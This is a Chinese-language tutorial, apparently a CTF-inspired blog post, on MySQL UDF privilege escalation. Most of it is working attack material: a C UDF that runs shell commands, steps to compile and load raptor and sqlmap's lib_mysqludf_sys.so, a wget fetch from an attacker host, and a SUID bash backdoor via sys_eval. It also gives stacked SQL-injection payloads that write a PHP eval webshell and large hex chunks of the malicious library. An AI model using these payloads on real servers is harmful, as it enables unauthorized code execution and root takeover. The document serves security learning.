打玄机的时候遇到了mysql的日志审查，而我本人对于提权操作其实并不是特别了解。本文将记录mysql的udf提权的学习

什么是udf

udf的全称为User Defined Function，是mysql为了拓展自己的灵活性出的一个功能，其允许用户通过动态链接库来自定义function。

创建与使用

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CREATE FUNCTION <function_name> RETURNS <return_type> SONAME '<library_name>';

创建的function_name必须是我们so文件在编译前的c文件内声明过的。
且so文件必须在plugin路径下我们可以通过如下路径来查询plugin路径

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show variables like "%plugin%";

调用

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SELECT <function_name>(<parameters>);

我们可以使用如下方法来自定义创建我们所需的so文件
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#include <stdio.h>
#include <string.h>
#include <mysql/mysql.h>

my_bool lse_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
    return 0;
}

char* lse(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error) {
    // Example: Execute system command
    FILE *fp = popen(args->args[0], "r");
    if (fp == NULL) return NULL;

    fread(result, 1, 1024, fp);
    *length = strlen(result);
    pclose(fp);
    return result;
}

上面的c文件的声明的方法名就为lse。利用如下命令来编译
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gcc -shared -o lse.so -fPIC evl.c -I/usr/include/mariadb

但是上面的编译过程需要用到mysql库，但是有的机子是没有动调链接库的。我们可以使用如下方法来避免使用mysql库
渗透测试：MySQL数据库UDF提权详解

利用

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searchsploit mysql udf -m 1518

来复制1518.c文件
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mv 1518.c raptor_udf2.c
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc


同样我们也可以通过修改c文件来修改声明函数名

当然这样还是有点麻烦，我们可以直接从sqlmap里拿取现成的so文件，这些文件分为linux和win的32位和64位

在如下位置

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/usr/share/sqlmap/data/udf/mysql/

但是sqlmap里的文件都是经过编码的我们需要使用其自带的脚本来解码
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python3 /usr/share/sqlmap/extra/cloak/cloak.py -d -i ./linux/64/lib_mysqludf_sys.so_

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─$ nm -D lib_mysqludf_sys.so
0000000000201788 A __bss_start
                 w __cxa_finalize@GLIBC_2.2.5
0000000000201788 A _edata
0000000000201798 A _end
                 U fgets@GLIBC_2.2.5
0000000000001178 T _fini
                 U fork@GLIBC_2.2.5
                 U free@GLIBC_2.2.5
                 U getenv@GLIBC_2.2.5
                 w __gmon_start__
0000000000000ba0 T _init
                 w _Jv_RegisterClasses
000000000000101a T lib_mysqludf_sys_info
0000000000000da4 T lib_mysqludf_sys_info_deinit
0000000000001047 T lib_mysqludf_sys_info_init
                 U malloc@GLIBC_2.2.5
                 U mmap@GLIBC_2.2.5
                 U pclose@GLIBC_2.2.5
                 U popen@GLIBC_2.2.5
                 U realloc@GLIBC_2.2.5
                 U setenv@GLIBC_2.2.5
                 U strcpy@GLIBC_2.2.5
                 U strncpy@GLIBC_2.2.5
0000000000000dac T sys_bineval
0000000000000dab T sys_bineval_deinit
0000000000000da8 T sys_bineval_init
                 U sysconf@GLIBC_2.2.5
0000000000000e46 T sys_eval
0000000000000da7 T sys_eval_deinit
0000000000000f2e T sys_eval_init
0000000000001066 T sys_exec
0000000000000da6 T sys_exec_deinit
0000000000000f57 T sys_exec_init
00000000000010f7 T sys_get
0000000000000da5 T sys_get_deinit
0000000000000fea T sys_get_init
000000000000107a T sys_set
00000000000010e8 T sys_set_deinit
0000000000000f80 T sys_set_init
                 U system@GLIBC_2.2.5
                 U waitpid@GLIBC_2.2.5

看上面的函数列表我们知道了该so文件声明了sys_eval,sys_exec,sys_get,sys_set,sys_bineval
接下来的提权演示我都会使用sqlmap的so文件来演示

反弹shell后的提权操作

我这里直接使用本地的kali来反弹shell模拟一个拿到shell后的提权操作

首先我们会发现弹出的shell交互性很差，无法支持我们进行mysql的链接，我们这里可以使用如下python命令来提高shell的交互性

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python -c 'import pty; pty.spawn("/bin/bash")'

上面的命令使用了python自带的pty来提高交互性

检查mysql是否允许导入导出文件

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show variables like "%secure_file_priv%";

当secure_file_priv为定义值时代表使用目录下都可导入，如果指定了目录代表只能在该目录下导入导出，如果为null代表不允许导入导出操作
需要这个权限的原因是udf提权需要将so文件传到plugin目录下但是该目录的传入需要root权限，所有我们只能使用具有root权限的mysql来导入

查看权限

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select * from mysql.user where user = substring_index(user(), '@', 1) ;

查找plugin路径

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show variables like "%plugin%";

/usr/lib/mysql/plugin/

查看服务器版本

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show variables like 'version_compile_%';

下载so文件

我们直接远程下载udf文件

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wget http://ip:8000/udf.zip

将udf导入plugin路径进行提权

使用如下目命令将下载的udf文件写入plugin文件夹

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select load_file('/tmp/udf/mysql/linux/64/lib_mysqludf_sys.so') into dumpfile '/usr/lib/mysql/plugin/eval.so';

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create function sys_eval returns string soname 'eval.so';
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select sys_eval('whoami');

成功拿到root权限、

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select sys_eval('cp /bin/bash /tmp/lse; chmod +xs /tmp/lse');

上面的命令是将/bion/bash复制到/tmp/lse并赋予SUID权限。这样就会导致suid提权

我们执行/tmp/lse就可以得到root权限

sql注入导致的udf提权

发现为堆叠注入

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show variables like "%secure_file_priv%";


可以发现未设定值可以写入文件
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0'%3bselect+'<%3fphp+eval($_POST[123])%3bphpinfo()%3b%3f>'+into+dumpfile+'/var/www/html/shell.php'--+

产尝试直接写马失败。web页面应该没有写入权限

那么我们只好写入udf文件了
查看plugin路径

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id=1';show+variables+like+"%25plugin%25"%3b;--+

先通过如下命令将udf变为hex格式

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select hex(load_file('/home/kali/mysql_udf/mysql/linux/64/lib_mysqludf_sys.so')) into outfile '/tmp/udf.txt';

然后我们将16进制的udf文件分段传到靶机里，这是因为udf传值有字符数上线
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?id=0'%3bselect+'7F454C4602010100000000000000000003003E0001000000D00C0000000000004000000000000000E8180000000000000000000040003800050040001A00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050E57464040000006412000000000000641200000000000064120000000000009C000000000000009C00000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002B0000001500000005000000280000001E000000000000000000000006000000000000000C00000000000000070000002A00000009000000210000000000000000000000270000000B0000002200000018000000240000000E00000000000000040000001D0000001600000000000000130000000000000000000000120000002300000010000000250000001A0000000F000000000000000000000000000000000000001B00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000A00000011000000000000000000000000000000000000000D0000002600000017000000000000000800000000000000000000000000000000000000000000001F0000001C0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119C4C93DA4400398046883140000001600000017000000190000001B0000001D0000002000000022000000000000002300000000000000240000002500000027000000290000002A00000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED871581CC1E2F7DEA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC4345D5ECC5A62C1CC3138AFF36AC68AE3B9FD4A0AC73D1C525681B320B5911FEAB5FBE120000000000000000000000000000000000000000000000000000000003000900A00B0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000E0000000120000000000000000000000DE01000000000000790100001200000000000000000000007700000000000000BA0000001200000000000000000000003504000000000000F5000000120000000000000000000000C2010000000000009E010000120000000000000000000000D900000000000000FB000000120000000000000000000000050000000000000016000000220000000000000000000000FE00000000000000CF000000120000000000000000000000AD00000000000000880100001200000000000000000000008000000000000000AB010000120000000000000000000000250100000000000010010000120000000000000000000000DC00000000000000C7000000120000000000000000000000C200000000000000B5000000120000000000000000000000CC02000000000000ED000000120000000000000000000000E802000000000000E70000001200000000000000000000009B00000000000000C200000012000000000000000000000028000000000000008001000012000B007A100000000000006E000000000000007500000012000B00A70D00000000000001000000000000001000000012000C00781100000000000000000000000000003F01000012000B001A100000000000002D000000000000001F01000012000900A00B0000000000000000000000000000C30100001000F1FF881720000000000000000000000000009600000012000B00AB0D00000000000001000000000000007001000012000B0066100000000000001400000000000000CF0100001000F1FF981720000000000000000000000000005600000012000B00A50D00000000000001000000000000000201000012000B002E0F0000000000002900000000000000A301000012000B00F71000000000000041000000000000003900000012000B00A40D00000000000001000000000000003201000012000B00EA0F0000000000003000000000000000BC0100001000F1FF881720000000000000000000000000006500000012000B00A60D00000000000001000000000000002501000012000B00800F0000000000006A000000000000008500000012000B00A80D00000000000003000000000000001701000012000B00570F00000000000029000000000000005501000012000B0047100000000000001F00000000000000A900000012000B00AC0D0000000000009A000000000000008F01000012000B00E8100000000000000F00000000000000D700000012000B00460E000000000000E800000000000000005F5F676D6F6E5F73746172745F5F005F66696E69005F5F6378615F66696E616C697A65005F4A765F5265676973746572436C6173736573006C69625F6D7973716C7564665F7379735F696E666F5F6465696E6974007379735F6765745F6465696E6974007379735F657865635F6465696E6974007379735F6576616C5F6465696E6974007379735F62696E6576616C5F696E6974007379735F62696E6576616C5F6465696E6974007379735F62696E6576616C00666F726B00737973636F6E66006D6D6170007374726E6370790077616974706964007379735F6576616C006D616C6C6F6300706F70656E007265616C6C6F630066676574730070636C6F7365007379735F6576616C5F696E697400737472637079007379735F657865635F696E6974007379735F7365745F696E6974007379735F6765745F696E6974006C69625F6D7973716C7564665F7379735F696E666F006C69625F6D7973716C7564665F7379735F696E666F5F696E6974007379735F657865630073797374656D007379735F73657400736574656E76007379735F7365745F6465696E69740066726565007379735F67657400676574656E76006C6962632E736F2E36005F6564617461005F5F6273735F7374617274005F656E6400474C4942435F322E322E35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100B20100001000000000000000751A690900000200D401000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0'%3bselect+'F2AE4889EF48F7D1488D59FF4D8D641D004C89E6E8DDFDFFFF4A8D3C284889DA4C89F64D89E54889C5E8A8FDFFFF4C89FABE080000004C89F7E818FDFFFF4885C075B44C89FFE82BFDFFFF807D0000750A488B442408C60001EB1F42C6442DFF0031C04883C9FF4889EFF2AE488B44241048F7D148FFC94889084883C4184889E85B5D415C415D415E415FC34883EC08833E014889D7750B488B460831D2833800740E488D353A020000E817FDFFFFB20188D05EC34883EC08833E014889D7750B488B460831D2833800740E488D3511020000E8EEFCFFFFB20188D05FC3554889FD534889D34883EC08833E027409488D3519020000EB3F488B46088338007409488D3526020000EB2DC7400400000000488B4618488B384883C70248037808E801FCFFFF31D24885C0488945107511488D351F0200004889DFE887FCFFFFB20141585B88D05DC34883EC08833E014889F94889D77510488B46088338007507C6010131C0EB0E488D3576010000E853FCFFFFB0014159C34154488D35EF0100004989CC4889D7534889D34883EC08E832FCFFFF49C704241E0000004889D8415A5B415CC34883EC0831C0833E004889D7740E488D35D5010000E807FCFFFFB001415BC34883EC08488B4610488B38E862FBFFFF5A4898C34883EC28488B46184C8B4F104989F2488B08488B46104C89CF488B004D8D4409014889C6F3A44C89C7498B4218488B0041C6040100498B4210498B5218488B4008488B4A08BA010000004889C6F3A44C89C64C89CF498B4218488B400841C6040000E867FBFFFF4883C4284898C3488B7F104885FF7405E912FBFFFFC3554889CD534C89C34883EC08488B4610488B38E849FBFFFF4885C04889C27505C60301EB1531C04883C9FF4889D7F2AE48F7D148FFC948894D00595B4889D05DC39090909090909090554889E5534883EC08488B05C80320004883F8FF7419488D1DBB0320000F1F004883EB08FFD0488B034883F8FF75F14883C4085BC9C390904883EC08E86FFBFFFF4883C408C345787065637465642065786163746C79206F6E6520737472696E67207479706520706172616D657465720045787065637465642065786163746C792074776F20617267756D656E747300457870656374656420737472696E67207479706520666F72206E616D6520706172616D6574657200436F756C64206E6F7420616C6C6F63617465206D656D6F7279006C69625F6D7973716C7564665F7379732076657273696F6E20302E302E34004E6F20617267756D656E747320616C6C6F77656420287564663A206C69625F6D7973716C7564665F7379735F696E666F290000011B033B980000001200000040FBFFFFB400000041FBFFFFCC00000042FBFFFFE400000043FBFFFFFC00000044FBFFFF1401000047FBFFFF2C01000048FBFFFF44010000E2FBFFFF6C010000CAFCFFFFA4010000F3FCFFFFBC0100001CFDFFFFD401000086FDFFFFF4010000B6FDFFFF0C020000E3FDFFFF2C02000002FEFFFF4402000016FEFFFF5C02000084FEFFFF7402000093FEFFFF8C0200001400000000000000017A5200017810011B0C070890010000140000001C00000084FAFFFF01000000000000000000000014000000340000006DFAFFFF010000000000000000000000140000004C00000056FAFFFF01000000000000000000000014000000640000003FFAFFFF010000000000000000000000140000007C00000028FAFFFF030000000000000000000000140000009400000013FAFFFF01000000000000000000000024000000AC000000FCF9FFFF9A00000000420E108C02480E18410E20440E3083048603000000000034000000D40000006EFAFFFFE800000000420E10470E18420E208D048E038F02450E28410E30410E38830786068C05470E50000000000000140000000C0100001EFBFFFF2900000000440E100000000014000000240100002FFBFFFF2900000000440E10000000001C0000003C01000040FBFFFF6A00000000410E108602440E188303470E200000140000005C0100008AFBFFFF3000000000440E10000000001C00000074010000A2FBFFFF2D00000000420E108C024E0E188303470E2000001400000094010000AFFBFFFF1F00000000440E100000000014000000AC010000B6FBFFFF1400000000440E100000000014000000C4010000B2FBFFFF6E00000000440E300000000014000000DC01000008FCFFFF0F00000000000000000000001C000000F4010000FFFBFFFF4100000000410E108602440E188303470E2000000000000000000000FFFFFFFFFFFFFFFF0000000000000000FFFFFFFFFFFFFFFF000000000000000000000000000000000100000000000000B2010000000000000C00000000000000A00B0000000000000D00000000000000781100000000000004000000000000005801000000000000F5FEFF6F00000000A00200000000000005000000000000006807000000000000060000000000000060030000000000000A00000000000000E0010000000000000B0000000000000018000000000000000300000000000000E81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200A0000000000000700000000000000C0090000000000000800000000000000600000000000000009000000000000001800000000000000FEFFFF6F00000000A009000000000000FFFFFF6F000000000100000000000000F0FFFF6F000000004809000000000000F9FFFF6F0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000CE0B000000000000DE0B000000000000EE0B000000000000FE0B0000000000000E'+into+dumpfile+'/tmp/3.txt'

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?id=0'%3bselect+'0C0000000000001E0C0000000000002E0C0000000000003E0C0000000000004E0C0000000000005E0C0000000000006E0C0000000000007E0C0000000000008E0C0000000000009E0C000000000000AE0C000000000000BE0C0000000000008017200000000000004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200004743433A202844656269616E20342E332E322D312E312920342E332E3200002E7368737472746162002E676E752E68617368002E64796E73796D002E64796E737472002E676E752E76657273696F6E002E676E752E76657273696F6E5F72002E72656C612E64796E002E72656C612E706C74002E696E6974002E74657874002E66696E69002E726F64617461002E65685F6672616D655F686472002E65685F6672616D65002E63746F7273002E64746F7273002E6A6372002E64796E616D6963002E676F74002E676F742E706C74002E64617461002E627373002E636F6D6D656E7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000B000000F6FFFF6F0200000000000000A002000000000000A002000000000000C000000000000000030000000000000008000000000000000000000000000000150000000B00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001D00000003000000020000000000000068070000000000006807000000000000E00100000000000000000000000000000100000000000000000000000000000025000000FFFFFF6F020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000FEFFFF6F0200000000000000A009000000000000A009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000C009000000000000C00900000000000060000000000000000300000000000000080000000000000018000000000000004B000000040000000200000000000000200A000000000000200A0000000000008001000000000000030000000A0000000800000000000000180000000000000055000000010000000600000000000000A00B000000000000A00B000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000B80B000000000000B80B00000000000010010000000000000000000000000000040000000000000010000000000000005B000000010000000600000000000000D00C000000000000D00C000000000000A80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000E000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000DD000000000000000000000000000000010000000000000001000000000000006F000000010000000200000000000000641200000000000064120000000000009C000000000000000000000000000000040000000000000000000000000000007D000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008E000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009A000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000A3000000010000000300000000000000D016200000000000D0160000000000001800000000000000000000000000000008000000000000000800000000000000A8000000010000000300000000000000E816200000000000E8160000000000009800000000000000000000000000000008000000000000000800000000000000B1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000B7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000BC000000010000000000000000000000000000000000000088170000000000009B000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000C500000000000000000000000000000001000000000000000000000000000000'+into+dumpfile+'/tmp/4.txt'--+

然后将其拼起来放到/usr/lib/mariadb/plugin下

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select unhex(concat(load_file('/tmp/2.txt'),load_file('/tmp/3.txt'),load_file('/tmp/4.txt'))) into dumpfile '/usr/lib/mariadb/plugin/eval.so'
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?id=0';create+function+sys_eval+returns+string+soname+'eval.so';--+
1
?id=select+sys_eval("whoami");

当然这题得到的是mysql权限如果该mysql是root权限允许得到的就是root权限

当mysql弱密码外联

与sql注入相似不多提